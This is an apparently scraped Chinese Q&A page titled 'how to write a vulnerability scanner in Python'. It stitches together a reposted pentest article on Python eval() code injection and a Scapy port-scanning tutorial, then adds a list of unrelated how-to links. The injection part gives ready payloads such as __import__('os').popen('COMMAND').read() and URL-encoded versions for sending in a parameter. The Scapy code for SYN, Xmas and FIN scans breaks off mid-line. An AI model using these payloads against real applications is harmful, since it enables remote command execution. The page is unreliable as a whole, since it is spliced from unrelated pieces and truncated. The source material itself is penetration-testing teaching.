怎么用python写一个漏洞扫描器

1.如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。

这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。

在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。 因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。

实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容: 1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用 假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示: eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了: eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示: eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。

具体代码如下所示: __import__('os').popen('COMMAND').read() 为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示: param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。

在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器 为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。

接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一**立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。

相关操作指令如下所示: git clone /sethsec/PyCodeInjection.gitcd VulnApp ./install_requirements.sh python PyCodeInjectionApp.py 漏洞分析 当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞: 1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码: \ 大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。

除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。 不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。

而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec。

2.如何用Scapy写一个端口扫描器

常见的端口扫描类型有:1. TCP 连接扫描2. TCP SYN 扫描(也称为半开放扫描或stealth扫描)3. TCP 圣诞树(Xmas Tree)扫描4. TCP FIN 扫描5. TCP 空扫描(Null)6. TCP ACK 扫描7. TCP 窗口扫描8. UDP 扫描下面先讲解每种扫描的原理,随后提供具体实现代码。

TCP 连接扫描客户端与服务器建立 TCP 连接要进行一次三次握手,如果进行了一次成功的三次握手,则说明端口开放。客户端想要连接服务器80端口时,会先发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器(本例中为80端口)。

如果端口是开放的,则服务器会接受这个连接并返回一个带有 SYN 和 ACK 标识的数据包给客户端。随后客户端会返回带有 ACK 和 RST 标识的数据包,此时客户端与服务器建立了连接。

如果完成一次三次握手,那么服务器上对应的端口肯定就是开放的。当客户端发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器后,如果服务器端返回一个带 RST 标识的数据包,则说明端口处于关闭状态。

代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80tcp_connect_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)if(str(type(tcp_connect_scan_resp))==""): print "Closed"elif(tcp_connect_scan_resp.haslayer(TCP)): if(tcp_connect_scan_resp.getlayer(TCP).flags == 0x12): send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="AR"),timeout=10) print "Open"elif (tcp_connect_scan_resp.getlayer(TCP).flags == 0x14): print "Closed"TCP SYN 扫描这个技术同 TCP 连接扫描非常相似。同样是客户端向服务器发送一个带有 SYN 标识和端口号的数据包,如果目标端口开发,则会返回带有 SYN 和 ACK 标识的 TCP 数据包。

但是,这时客户端不会返回 RST+ACK 而是返回一个只带有 RST 标识的数据包。这种技术主要用于躲避防火墙的检测。

如果目标端口处于关闭状态,那么同之前一样,服务器会返回一个 RST 数据包。代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80stealth_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)if(str(type(stealth_scan_resp))==""): print "Filtered"elif(stealth_scan_resp.haslayer(TCP)): if(stealth_scan_resp.getlayer(TCP).flags == 0x12): send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="R"),timeout=10) print "Open" elif (stealth_scan_resp.getlayer(TCP).flags == 0x14): print "Closed"elif(stealth_scan_resp.haslayer(ICMP)): if(int(stealth_scan_resp.getlayer(ICMP).type)==3 and int(stealth_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): print "Filtered"TCP 圣诞树(Xmas Tree)扫描在圣诞树扫描中,客户端会向服务器发送带有 PSH,FIN,URG 标识和端口号的数据包给服务器。

如果目标端口是开放的,那么不会有任何来自服务器的回应。如果服务器返回了一个带有 RST 标识的 TCP 数据包,那么说明端口处于关闭状态。

但如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 状态码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定是否处于开放状态。代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80xmas_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="FPU"),timeout=10)if (str(type(xmas_scan_resp))==""): print "Open|Filtered"elif(xmas_scan_resp.haslayer(TCP)): if(xmas_scan_resp.getlayer(TCP).flags == 0x14): print "Closed"elif(xmas_scan_resp.haslayer(ICMP)): if(int(xmas_scan_resp.getlayer(ICMP).type)==3 and int(xmas_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): print "Filtered"TCP FIN扫描FIN 扫描会向服务器发送带有 FIN 标识和端口号的 TCP 数据包。

如果没有服务器端回应则说明端口开放。如果服务器返回一个 RST 数据包,则说明目标端口是关闭的。

如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 代码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定端口状态。代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80fin_scan_resp = sr1(IP(dst=ds。

怎么用python写一个漏洞扫描器

转载请注明出处育才学习网 » 怎么用python写一个漏洞扫描器

知识

腰扭伤病历记录怎么写

阅读(250)

本文主要为您介绍腰扭伤病历记录怎么写,内容包括急性腰扭伤的病历怎么写,急性腰扭伤的病历怎么写,急性腰扭伤留观病历怎么写。腰疼原因大致分为以下五种。腰疼原因之一:由于脊柱骨关节及其周围软组织的疾患所引起。如腰肌劳损、肌纤维织炎,以

知识

产品设计分析怎么写

阅读(251)

本文主要为您介绍产品设计分析怎么写,内容包括产品设计说明怎么写,怎么写自己的产品设计思路,写产品的设计说明怎么些。这个主要看你所设计的是哪一类产品了。我对设计说明撰写的看法是用最简短的手法来对你的设计作品进行描述,描术内容包括

知识

健康快乐餐桌教案怎么写

阅读(209)

本文主要为您介绍健康快乐餐桌教案怎么写,内容包括健康教案《自己吃饭真能干》怎么写活动反思,幼儿园中班健康教育活动《怎样吃》教案,请写一个关于健康饮食的幼儿的教案。《宝宝自己吃饭真能干》。此活动的重点是为了让幼儿懂得要自己吃饭

知识

莫达衣服英文怎么写

阅读(231)

本文主要为您介绍莫达衣服英文怎么写,内容包括VEROMODA这个牌子的英文怎么读,和ONLY一家的还有个品牌莫达英文怎么拼写,莫哒女装英文怎么写。莫 (没有谁; 没有哪一种东西) no one; none; nothing: 莫大于此 nothing is greater (mor

知识

晨鸣培训新员工安全怎么写

阅读(194)

本文主要为您介绍晨鸣培训新员工安全怎么写,内容包括如何培训新进员工(安全),本人在试用期安全知识学习培训怎么写,生产车间员工安全培训内容怎么写。局引用新员工入职培训流程目录培训目的二、适用范围三、培训时间四、培训方式五、培训内容

知识

文明只差一步的评语怎么写

阅读(246)

本文主要为您介绍文明只差一步的评语怎么写,内容包括文明只差一步作文批改评语,文明只差一步作文批改评语,文明只差一步的作文怎么写。星期五的下午,明媚的阳光照着大地。小刚和小美背着大大的书包,高高兴兴的走在回家的路上,他们唱着好听的歌

知识

班组安全记录怎么写

阅读(209)

本文主要为您介绍班组安全记录怎么写,内容包括班组安全活动记录怎么写啊,班组安全活动记录怎么写,班组安全活动记录如何写。可以从几个方面下手1.班前开的班前会。2.班组组织的隐患排查。3.特殊工种员工的持证上岗。4.班组开展的安全培训。

知识

顾这个字甲骨文怎么写

阅读(233)

本文主要为您介绍顾这个字甲骨文怎么写,内容包括顾字的甲骨文.金文.小篆.隶书.楷书.草书和行书,甲骨文的顾怎么写,“顾、婧”这两个字在甲骨文中的写法(最好有原书的图片)百。

知识

古字火和水怎么写

阅读(269)

本文主要为您介绍古字火和水怎么写,内容包括水、禾、火、羊、米、用古汉字怎么写,甲骨文(天,地,水,火``````````````)怎么写,水、禾、火、羊、米、用古汉字怎么写。甲骨文,金文,楚文,小篆,都有 骨,金,楚,篆字体库 下载地址 http://ckip.iis.sinica.e

知识

大学生选修健美操现状分析怎么写

阅读(257)

本文主要为您介绍大学生选修健美操现状分析怎么写,内容包括健美操的发展现状及发展趋势,健美操的现状是怎样的,大学毕业论文艺术类健美操开题报告怎么写。开题报告主要包括以下几个方面:(一)论文名称论文名称就是课题的名字第一,名称要准确、规

知识

微言大义成语怎么写

阅读(262)

本文主要为您介绍微言大义成语怎么写,内容包括成语“微言大义”什么意思,成语微言达意怎么写,"微言大义"这个成语怎么翻译成英文最好。微言大义wēi yán dà yì 成语典故: 微言:精当而含义深远的话;大义:本指经书的要义,后指大道理。包含在精微

知识

黄山湖公园的人文景观怎么写

阅读(200)

本文主要为您介绍黄山湖公园的人文景观怎么写,内容包括描写黄山湖公园景物的片段,有关游黄山湖公园的作文急,有关游黄山湖公园的作文急。春天,黄山湖公园里的花张开了笑脸,仿佛在对太阳公公笑,小草也钻出了脑袋,懒洋洋地打着哈欠,从地里钻了出来

知识

您对孩子的期望怎么写

阅读(232)

本文主要为您介绍您对孩子的期望怎么写,内容包括家长对孩子的期望怎么写,家长寄语对孩子的期望怎么写,父母对孩子的期望怎么写。原发布者:鄙妥奔富农篇一:家长对孩子的期望家长对孩子的期望、表扬与批评牡丹江广电家庭教育服务中心:于万涛在人

知识

听雨读后感怎么写

阅读(237)

本文主要为您介绍听雨读后感怎么写,内容包括听雨读后感,听雨的读后感,听雨读后感。“听雨”这样一个简单的题目,作者却围绕着它写了雨声的诗词,听雨时的心情,听到雨声时的联想。 研究学问的季老,听着阳台顶铁皮被雨打的声音,

知识

星际战甲扫描器怎么用

阅读(228)

本文主要为您介绍星际战甲扫描器怎么用,内容包括星际战甲扫描器怎么用,星际战甲扫描有什么用星际战甲扫描怎么用,星际战甲密典扫描器怎么用。可以方便找到敌人包括boss。《星际战甲》是Digital Extremes研发的一款科幻题材的第三人称射击网

知识

pythonelse中的空语句怎么写

阅读(244)

本文主要为您介绍pythonelse中的空语句怎么写,内容包括python编程for循环中ifelse怎么写,pythonif语句如何书写,pythonif语句怎么写。Python中用于多个选择, else if 用 elif表示。例如:>>> x = 3>>> if x<1:print " x is

知识

python怎么写注释

阅读(322)

本文主要为您介绍python怎么写注释,内容包括Python如何进行中文注释,Python程序的注释语句怎么写,Python单行注释和多行注释怎么写,需要注意什么。#在Python中显示中文注释和输出中文a ="中文"print ad:\Python27\python.exe "D:\test\中

知识

怎么用python写网页

阅读(247)

本文主要为您介绍怎么用python写网页,内容包括如何用python来写网页,如何用python来写网页,怎样用Python写一个Html的简单网页。我安装好了apache2.2。然后安装mod_python,并安装mod_python的说明配置好httd.conf的文件,但是启动ap

知识

漏洞怎么用

阅读(166)

本文主要为您介绍漏洞怎么用,内容包括漏洞是什么有什么用如何生成漏洞,如何破解漏洞,什么是漏洞,如何利用漏洞入侵。用漏洞扫描扫扫看有没有漏洞,漏洞 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在

知识

扫描器怎么用

阅读(205)

本文主要为您介绍扫描器怎么用,内容包括条码扫描器怎么用,扫描枪如何使用,打印机上的扫描仪怎么用。以条形码的数字通过扫描枪输入Excel文档中为例,具体操作步骤如下:首先,打开Excel表并单击空白单元格,如下图所示。

知识

ubuntu怎么写python

阅读(200)

本文主要为您介绍ubuntu怎么写python,内容包括ubuntu下怎么编写python程序,在Ubuntu下如何编写Python程序,ubuntu下写python程序用什么软件。哥,你这个问题问的太有水平了。第一,你首先要学习Python语言,学好了在任何平台下都可以编程。这个概

知识

python怎么写winform

阅读(470)

本文主要为您介绍python怎么写winform,内容包括请问,我有一个python写的.py脚本,想通过一个winform上的一个按钮,Python写界面简单吗,和c#比如何,c#winform程序中调用一个用python编写的exe程序,然后我想执行上边。python是很简单,易学的编

[/e:loop]